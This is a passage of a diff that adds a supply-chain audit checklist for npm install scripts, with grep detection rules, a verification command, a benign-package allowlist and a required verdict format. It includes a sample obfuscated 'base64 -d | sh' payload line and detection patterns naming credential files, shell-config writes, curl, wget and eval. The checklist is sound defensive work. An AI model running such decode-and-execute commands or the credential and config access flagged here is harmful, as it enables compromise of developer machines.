+| Obfuscated payload | `echo "aGVsbG8=" | base64 -d | sh`, hex assembled then `eval` | `grep -rnE '(base64|eval|child_process|os\.system|fromCharCode)' <unpack dir>` | Block |
+| Credential-file access | Reading/writing `~/.ssh`, `.npmrc`, `.gitconfig`, `credentials` | `grep -rnE '(\.ssh|npmrc|gitconfig|credential)' <unpack dir>` | Block |
+| Global configuration writes | Writing `~/.bashrc`, `~/.zshrc`, `/etc/profile.d` | `grep -rnE '(bashrc|zshrc|profile\.d)' <unpack dir>` | Block |
+| git dependency prepare/preinstall | The dependency is a `git+https://…` URL and declares a `prepare` script (runs at install time; invisible to `npm view`) | Locate with `git grep -nE 'git\+https?://' -- package.json`, then clone and `grep -nE '"(prepare|preinstall)"' .tmp/gitdep/package.json` | Same tier as postinstall (block-level candidate) |
+| Calls to domains unrelated to the purpose | A markdown parser calling `telemetry.example.org` | `grep -rnE 'https?://' <unpack dir> | grep -v <package homepage domain>` | Record (hand to dependency-audit poisoning item 4) |
+
+Unified verification command (run after unpacking):
+
+```sh
+npm pack <package> --pack-destination .tmp
+tar -xzf .tmp/<package>-<version>.tgz -C .tmp
+grep -rnE '(curl|wget|Invoke-WebRequest|base64|eval|child_process|os\.system|\.ssh|npmrc|gitconfig|bashrc|zshrc)' .tmp/package/
+```
+
+Criterion: every hit needs a human context read; "block" applies only to the first four patterns, the fifth is recorded first.
+
+## Ecosystem-convention allowlist (false-positive criterion)
+
+The install scripts of esbuild, sharp, node-gyp, core-js, puppeteer (optional), canvas, and similar download/compile **in line with the package's purpose** and **do not touch credentials or global configuration** — clearance requires both facts at once.
+Criterion drill: `sharp`'s `install` downloads prebuilt libvips = purpose-consistent + no credential touch → clear; any package downloading `/tmp/x` then `chmod +x` and running it = purpose-unrelated → block.
+
+## Output requirement
+
+For every new package that has an install script, output one conclusion line:
+`<package>@<version>: <script name> = <one-sentence behavior> → clear/record/block (reason: <purpose consistency>, <credential/global-config touch>)`